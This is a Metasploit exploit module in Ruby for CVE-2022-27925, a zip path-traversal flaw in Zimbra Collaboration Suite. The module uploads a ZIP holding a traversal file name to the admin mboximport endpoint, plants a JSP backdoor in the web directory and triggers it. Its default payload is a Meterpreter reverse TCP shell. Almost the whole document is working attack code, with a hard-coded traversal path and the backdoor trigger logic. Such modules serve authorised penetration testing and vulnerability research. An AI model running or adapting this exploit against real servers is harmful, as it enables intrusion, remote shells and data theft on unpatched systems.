Zimbra Zip Path Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/zip'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)',  
'Description' => %q{  
This module POSTs a ZIP file containing path traversal characters to  
the administrator interface for Zimbra Collaboration Suite. If  
successful, it plants a JSP-based backdoor within the web directory, then  
executes it.  
  
The core vulnerability is a path-traversal issue in Zimbra Collaboration Suite's  
ZIP implementation that can result in the extraction of an arbitrary file  
to an arbitrary location on the host.  
  
This issue is exploitable on the following versions of Zimbra:  
  
* Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)  
* Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)  
  
Note that the Open Source Edition is not affected.  
},  
'Author' => [  
'Volexity Threat Research', # Initial writeup  
"Yang_99's Nest", # PoC  
'Ron Bowes', # Analysis / module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-27925'],  
['CVE', '2022-37042'],  
['URL', 'https://blog.zimbra.com/2022/03/new-zimbra-patches-9-0-0-patch-24-and-8-8-15-patch-31/'],  
['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa22-228a'],  
['URL', 'https://www.yang99.top/index.php/archives/82/'],  
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24'],  
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31'],  
],  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
[ 'Zimbra Collaboration Suite', {} ]  
],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/',  
'TARGET_FILENAME' => nil,  
'RPORT' => 7071,  
'SSL' => true  
},  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => '2022-05-10',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),  
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),  
OptString.new('TARGET_USERNAME', [ true, 'The target user, must be valid on the Zimbra server', 'admin']),  
]  
)  
end  
  
# Generate an on-system filename using datastore options  
def generate_target_filename  
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')  
print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')  
end  
  
File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")  
end  
  
# Normalize the path traversal and figure out where it is relative to the web root  
def zimbra_get_public_path(target_filename)  
# Normalize the path  
normalized_path = Pathname.new(File.join('/opt/zimbra/log', target_filename)).cleanpath  
  
# Figure out where it is, relative to the webroot  
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/')  
relative_path = normalized_path.relative_path_from(webroot)  
  
# Hopefully, we found a path from the webroot to the payload!  
if relative_path.to_s.start_with?('../')  
return nil  
end  
  
relative_path  
end  
  
def exploit  
print_status('Encoding the payload as a .jsp file')  
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)  
  
# Create a file  
target_filename = generate_target_filename  
print_status("Target filename: #{target_filename}")  
  
# Create a zip file  
zip = Rex::Zip::Archive.new  
zip.add_file(target_filename, payload)  
data = zip.pack  
  
print_status('Sending POST request with ZIP file')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => "/service/extension/backup/mboximport?account-name=#{datastore['TARGET_USERNAME']}&ow=1&no-switch=1&append=1",  
'data' => data  
)  
  
# Check the response  
if res.nil?  
fail_with(Failure::Unreachable, "Could not connect to the target port (#{datastore['RPORT']})")  
elsif res.code == 404  
fail_with(Failure::NotFound, 'The target path was not found, target is probably not vulnerable')  
elsif res.code != 401  
print_warning("Unexpected response from the target (expected HTTP/401, got HTTP/#{res.code}) - exploit likely failed")  
end  
  
# Get the public path for triggering the vulnerability, terminate if we  
# can't figure it out  
public_filename = zimbra_get_public_path(target_filename)  
if public_filename.nil?  
fail_with(Failure::BadConfig, 'Could not determine the public web path, maybe you need to traverse further back?')  
end  
  
register_file_for_cleanup(target_filename)  
  
print_status("Trying to trigger the backdoor @ #{public_filename}")  
  
# Trigger the backdoor  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(public_filename)  
)  
  
if res.nil?  
fail_with(Failure::Unreachable, 'Could not connect to trigger the payload')  
elsif res.code == 200  
print_good('Successfully triggered the payload')  
elsif res.code == 404  
fail_with(Failure::Unknown, "Payload was not uploaded, the server probably isn't vulnerable")  
else  
fail_with(Failure::Unknown, "Could not connect to the server to trigger the payload: HTTP/#{res.code}")  
end  
end  
end  
`